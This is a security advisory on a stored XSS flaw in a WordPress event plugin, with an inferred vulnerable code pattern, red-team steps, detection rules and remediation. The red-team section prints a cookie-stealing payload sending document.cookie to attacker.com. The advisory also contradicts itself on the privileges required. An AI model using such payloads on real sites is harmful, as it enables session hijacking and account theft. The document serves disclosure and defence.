CVE-2025-49298

Executive Summary

CVE-2025-49298 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Event post by Bastien Ho, affecting versions up to and including 5.10.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the event post content. This injected script executes in the context of any user viewing the compromised event post, leading to session hijacking, data theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low immediate exploitation likelihood, but the risk remains significant for unpatched WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s page for updates and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the stored XSS.
• User Interaction (UI): Required (R) – The victim must view the malicious event post.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a public exploit and low EPSS score reduce immediate urgency. However, the potential for stored XSS in a widely used plugin warrants proactive monitoring and patching.

Deep Dive & Mechanics

The vulnerability exists in the event-post WordPress plugin, which allows users to create and display event posts. The plugin fails to sanitize or escape user input when rendering event post content, leading to stored XSS. An attacker with contributor-level access (or higher) can inject malicious JavaScript into an event post’s title, description, or custom fields. When other users (including administrators) view the event post, the injected script executes in their browser.

The root cause is the use of echo or the_content() without proper escaping functions like esc_html() or wp_kses_post(). The plugin likely outputs raw user input directly into the HTML, allowing script tags or event handlers to be injected.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred. The plugin likely contains code similar to:

// Vulnerable code in event-post plugin
echo '<div class="event-description">' . $event_description . '</div>';

A patched version would use proper escaping:

// Patched code
echo '<div class="event-description">' . esc_html( $event_description ) . '</div>';

Or for rich content:

echo '<div class="event-description">' . wp_kses_post( $event_description ) . '</div>';

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the event-post plugin version <= 5.10.1.
• An account with at least Contributor role (or ability to create event posts).

Exploitation Steps:

1. Log in to WordPress and navigate to Events > Add New.
2. In the event title or description field, inject a payload such as:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

3. Publish the event post.
4. When an administrator or other user views the event post, the script executes.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual event post content containing script tags or event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Prevention:

• Restrict user roles that can create event posts.
• Apply input validation and output escaping on all user-supplied data.
• Keep the plugin updated once a patch is released.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Host: Event post content containing <script>, <img onerror>, <svg onload>, or similar XSS vectors.
• Logs: WordPress audit logs showing creation of event posts with suspicious content.
• File: Modified plugin files (if attacker gains file write access).

Detection Engineering

YARA Rule

rule CVE_2025_49298_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress event-post plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49298"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]*onerror\s*=[^>]*>/is
        $xss3 = /<[^>]*onload\s*=[^>]*>/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in WordPress Event Post Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via event post content
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49298
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event_post_content|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in event posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49298 Stored XSS in WordPress Event Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=event_post_save"; http_client_body; pcre:"/(<script|<[^>]*onerror|<[^>]*onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the event-post plugin until a patch is available.
2. Restrict user roles that can create or edit event posts to trusted administrators only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Fix:

• Monitor the plugin’s official page for updates and apply the patch as soon as it is released.
• Conduct a code review of the plugin to identify and fix all instances of unsanitized output.
• Educate users about the risks of storing untrusted data in event posts.

Workaround:

• Use a security plugin like Wordfence to add an additional layer of XSS protection.

Valters IT